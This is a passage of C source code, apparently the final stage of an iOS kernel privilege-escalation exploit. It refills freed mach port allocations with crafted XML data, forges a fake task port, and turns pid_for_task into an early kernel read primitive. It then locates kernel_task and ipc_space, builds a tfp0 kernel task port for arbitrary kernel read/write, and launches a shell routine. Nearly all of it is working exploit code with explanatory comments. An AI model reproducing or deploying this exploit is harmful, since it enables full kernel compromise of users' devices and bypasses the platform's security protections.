LOG("got ip_requests: %lx", ip_requests);
|
|
|
|
// -8 we need for +8 pid offset in proc structure.
|
|
// + 8 is for second ipc_port_request record.
|
|
data[0] = ip_requests - 8 + 8;
|
|
|
|
free(xml_many);
|
|
// now prepare another xml to replace the block we allocated
|
|
// before with new data. We place our ip_requests pointer at
|
|
// offset 0.
|
|
xml_many = alloc_x10_make_xml(0x1000, data);
|
|
|
|
// free the previous allocation
|
|
for (int i=0; i<X10_ALLOC_CNT; i++) {
|
|
mach_port_destroy(mach_task_self(), x10_ports_many[i]);
|
|
}
|
|
|
|
// and refill with new content
|
|
for (int i=0; i<X10_ALLOC_CNT; i++) {
|
|
x10_ports_many[i] = alloc_x10_alloc(xml_many);
|
|
}
|
|
|
|
// We hope that ip_requests + 0x10 was refilled with our
|
|
// data which has ip_requests pointer at offset 0.
|
|
//
|
|
// Now we setup a task port and point kobject to
|
|
// ip_requests - offsetof(struct task, bsd_proc) + 0x10,
|
|
// so when we call pid_for_task on it we are going to
|
|
// get ip_requests + 8, which is the address of notify_port
|
|
// we placed there before.
|
|
set_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {
|
|
mp->p32[IP_OBJECT_io_bits] = IO_ACTIVE | IKOT_TASK;
|
|
// set reference counter so the port is never released
|
|
mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
|
|
mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
|
|
mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
|
|
mp->p32[off32(IPC_PORT_kobject)] = ip_requests - TASK_bsd_proc + 0x10;
|
|
mp->p32[off32(IPC_PORT_ip_srights)] = 0x10;
|
|
mp->p32[off32(IPC_PORT_ip_requests)] = ip_requests;
|
|
});
|
|
|
|
addr_t notify_port_addr;
|
|
kr = pid_for_task(super_port, (int *)¬ify_port_addr);
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("pid_for_task failed");
|
|
exit(-1);
|
|
}
|
|
LOG("notify addr: %lx", notify_port_addr);
|
|
// Update the content of the task port so when we call pid_for_task
|
|
// it's going to use the value of notify_port ip_context field
|
|
// as bsd_info.
|
|
update_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {
|
|
mp->p32[off32(IPC_PORT_kobject)] = notify_port_addr - TASK_bsd_proc + IPC_PORT_ip_context;
|
|
});
|
|
|
|
uint32_t dummy = 0;
|
|
if (kread0_32(koffsets.base + slide, &dummy, super_port, notify_port) < 0) {
|
|
LOG("early kernel read failed");
|
|
exit(-1);
|
|
}
|
|
if (dummy != 0xFEEDFACE) {
|
|
LOG("could not setup early kernel read");
|
|
exit(-1);
|
|
}
|
|
LOG("got early kernel read");
|
|
|
|
// remove our notification port, to be able to safely release the
|
|
// super_port later on.
|
|
kr = mach_port_request_notification(mach_task_self(), super_port,
|
|
MACH_NOTIFY_DEAD_NAME, 0, MACH_PORT_NULL,
|
|
MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
|
|
if (kr != KERN_SUCCESS) {
|
|
LOG("mach_port_request_notification failed kr: %x", kr);
|
|
exit(-1);
|
|
}
|
|
|
|
// The only thing left to get arbitrary kernel read/write is to
|
|
// obtain some kernel artifacts.
|
|
addr_t kernel_task;
|
|
if (kread0_32(koffsets.kernel_task + slide, (uint32_t *)&kernel_task,
|
|
super_port, notify_port) < 0) {
|
|
exit(0);
|
|
}
|
|
LOG("kernel_task: %lx", kernel_task);
|
|
|
|
addr_t kernel_space;
|
|
addr_t kernel_itk_self;
|
|
kread0_32(kernel_task + TASK_itk_self, (uint32_t *)&kernel_itk_self,
|
|
super_port, notify_port);
|
|
kread0_32(kernel_itk_self + IPC_PORT_receiver, (uint32_t *)&kernel_space,
|
|
super_port, notify_port);
|
|
|
|
LOG("kernel_space: %lx", kernel_space);
|
|
|
|
addr_t self_space;
|
|
kread0_32(notify_port_addr + IPC_PORT_receiver, &self_space,
|
|
super_port, notify_port);
|
|
addr_t super_port_addr = kread0_port_addr(self_space, super_port,
|
|
super_port, notify_port);
|
|
|
|
LOG("super_port_addr: %lx", super_port_addr);
|
|
|
|
// setup port for kernel task as outlined in [2]
|
|
super_port_to_tfp0(super_pipe, pipe_off, kernel_task, kernel_space,
|
|
super_port_addr);
|
|
LOG("got tfp0");
|
|
tfp0 = super_port;
|
|
|
|
// resume thread, otherwise we lose some of
|
|
// objective-C runtime functionality.
|
|
for_other_threads(^(thread_act_t t) {
|
|
kern_return_t kr = thread_resume(t);
|
|
if (kr != KERN_SUCCESS)
|
|
LOG("could not resume a thread");
|
|
});
|
|
|
|
shell_main(self_space, slide);
|
|
|
|
ports[0] = 0;
|
|
ports[1] = 0;
|
|
ports[2] = 0;
|
|
mach_ports_register(mach_task_self(), ports, 3);
|
|
|
|
mach_port_destroy(mach_task_self(), tfp0);
|
|
close(super_pipe[0]);
|
|
close(super_pipe[1]);
|
|
exit(0);
|
|
|
|
return 0;
|
|
}
|